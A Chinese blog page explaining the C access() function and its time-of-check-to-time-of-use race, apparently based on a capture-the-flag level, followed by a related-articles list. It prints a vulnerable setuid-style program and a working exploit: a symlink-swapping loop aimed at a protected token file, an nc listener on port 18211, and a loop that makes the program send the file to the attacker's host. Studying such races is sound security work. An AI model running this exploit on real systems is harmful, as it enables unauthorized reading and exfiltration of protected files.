access()函数用来检查调用进程是否可以对指定的文件执行某种操作。

================================================================================

来自:https://blog.csdn.net/tigerjibo/article/details/11712039

1.函数功能:

检查调用进程是否可以对指定的文件执行某种操作。

2.函数原型:

1)函数头文件

#include <stdio.h>
#include <unistd.h>

2)函数

int access(const char * pathname, int mode)

3)形参

pathname:需要检测的文件路劲名

mode:需要测试的操作模式。

4)函数返回值说明

成功执行时,返回0。失败返回-1,errno被设为以下的某个值 
EINVAL: 模式值无效 
EACCES: 文件或路径名中包含的目录不可访问 
ELOOP : 解释路径名过程中存在太多的符号连接 
ENAMETOOLONG:路径名太长 
ENOENT:路径名中的目录不存在或是无效的符号连接 
ENOTDIR: 路径名中当作目录的组件并非目录 
EROFS: 文件系统只读 
EFAULT: 路径名指向可访问的空间外 
EIO:输入输出错误 
ENOMEM: 不能获取足够的内核内存 
ETXTBSY:对程序写入出错

5)mode说明

R_OK 测试读许可权
W_OK 测试写许可权
X_OK 测试执行许可权
F_OK 测试文件是否存在

================================================================================

常见的用法是先用access()函数判断文件是否可以操作,然后再通过open()函数对文件进行相应操作。但是这两者之前存在一个时间差,从而形成了时间条件竞争漏洞,越权读取文件。

参考下面的代码:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> int main(int argc, char **argv)
{
char *file;
char *host; if(argc < ) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[]);
exit();
} file = argv[];
host = argv[]; if(access(argv[], R_OK) == ) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, ); memset(&sin, , sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
} #define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY);
if(ffd == -) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
} rc = read(ffd, buffer, sizeof(buffer));
if(rc == -) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
} write(fd, buffer, rc); printf("wrote file!\n"); } else {
printf("You don't have access to %s\n", file);
}
}

先通过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),然后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且由于这里access()判断的是ruid,所以可以通过频繁改变目标文件,使得access()和open()判断的不是同一个文件,即可越权打开文件

*****************************************************************************

*利用方法:

假设token文件为当前用户不可读

1、编写脚本,将有权限与没有权限的文件循环指向同一个文件

while true;
do
ln -sf /home/flag10/token /tmp/ttt
ln -sf /tmp/aaa /tmp/ttt
done

2、攻击侧监听18211端口

while true;do nc -lvnp ;done

3、执行该程序,获取文件

while true;
do
/home/flag10/flag10 /tmp/ttt 10.211.55.2
done

Linux C:access()时间条件竞争漏洞的更多相关文章

  1. MOTCF 没时间解释了 条件竞争漏洞

    moctf 没时间解释了 条件竞争漏洞 题目链接 条件竞争: 在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow. 比如你上传了一句 ...

  2. MySQL/MariaDB/PerconaDB-提权条件竞争漏洞

    背景 2016年11月01日,国外安全研究员Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/ ...

  3. 条件竞争(race condition)

    条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生. 参考了一些资料,发现一个比较能说明问 ...

  4. [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

    简介  原题复现:https://github.com/woadsl1234/HCTF2018_admin  考察知识点:session伪造.unicode漏洞.条件竞争  线上平台:https:// ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. Linux同步机制(二) - 条件变量,信号量,文件锁,栅栏

    1 条件变量 条件变量是一种同步机制,允许线程挂起,直到共享数据上的某些条件得到满足. 1.1 相关函数 #include <pthread.h>  pthread_cond_t cond ...

  7. Linux互斥锁、条件变量和信号量

    Linux互斥锁.条件变量和信号量  来自http://kongweile.iteye.com/blog/1155490 http://www.cnblogs.com/qingxia/archive/ ...

  8. [转帖]预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响

    预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响   https://cloud.tencent.com/developer/article/1447879 所有的 版本 ...

  9. linux概念之时间与时区

    http://www.cnblogs.com/liuyou/archive/2012/07/29/2614338.html Linux时间基准 以上我们了解了RTC(实时时钟.硬件时钟)和OS时钟(系 ...

随机推荐

  1. java中子类实例化过程中的内存分配

    知识点: 子类继承父类之后,实例化子类时,内存中子类是如何分配内存的呢? 下面,自己会结合一个例子,解释一下,一个子类实例化过程中,内存是如何分配的 参考博客:http://www.cnblogs.c ...

  2. (转)Nuts and Bolts of Applying Deep Learning

    Kevin Zakka's Blog About Nuts and Bolts of Applying Deep Learning Sep 26, 2016 This weekend was very ...

  3. HDU 6073 Matching In Multiplication(拓扑排序+思维)

    http://acm.hdu.edu.cn/showproblem.php?pid=6073 题意:有个二分图,左边和右边的顶点数相同,左边的顶点每个顶点度数为2.现在有个屌丝理解错了最佳完美匹配,它 ...

  4. UVa 11572 唯一的雪花(滑动窗口)

    https://vjudge.net/problem/UVA-11572 题意:输入一个长度为n的序列A,找到一个尽量长的连续子序列,使得该序列中没有相同的元素. 思路:很简单的题,也没啥好解释的了. ...

  5. Z-score(Z值)的意义--转载

    http://blog.sina.com.cn/s/blog_72208a6a0101cdt1.html http://www.docin.com/p-350677620.html http://we ...

  6. Miller_Rabin(米勒拉宾)素数测试算法

    首先需要知道两个定理: 1: 费马小定理: 假如p是素数,且gcd(a,p)=1,那么 a(p-1)≡1(mod p). 2:二次探测定理:如果p是素数,x是小于p的正整数,且,那么要么x=1,要么x ...

  7. ros 使用python代码启动launch文件

    在开发中我们经常会遇到使用python代码启动launch文件这样的问题.一般的做法是使用subprocess调用roslaunch.但是这种方法使用起来并不方便.要涉及到自己去控制进程的状态.由于r ...

  8. selenium-firefox-headless

    from selenium import webdriver import time fireFoxOptions = webdriver.FirefoxOptions() fireFoxOption ...

  9. Cocos2dx 3.x 屏幕适配

    Cocos2dx 3.10+Cocos Studio3.10 1.在适配过程中必须明确几个概念: ①Frame大小:这个值在windows/mac/linux下就是创建窗体的大小,在手机上就是屏幕大小 ...

  10. Longest Repeating Character Replacement

    2018-06-29 22:56:24 问题描述: 问题求解: 本题是一条字符串问题,且是求Optimal,自然最初想到的是使用DP来进行求解,但是问题就是如果采用DP的话,前一个状态也太多了,和替换 ...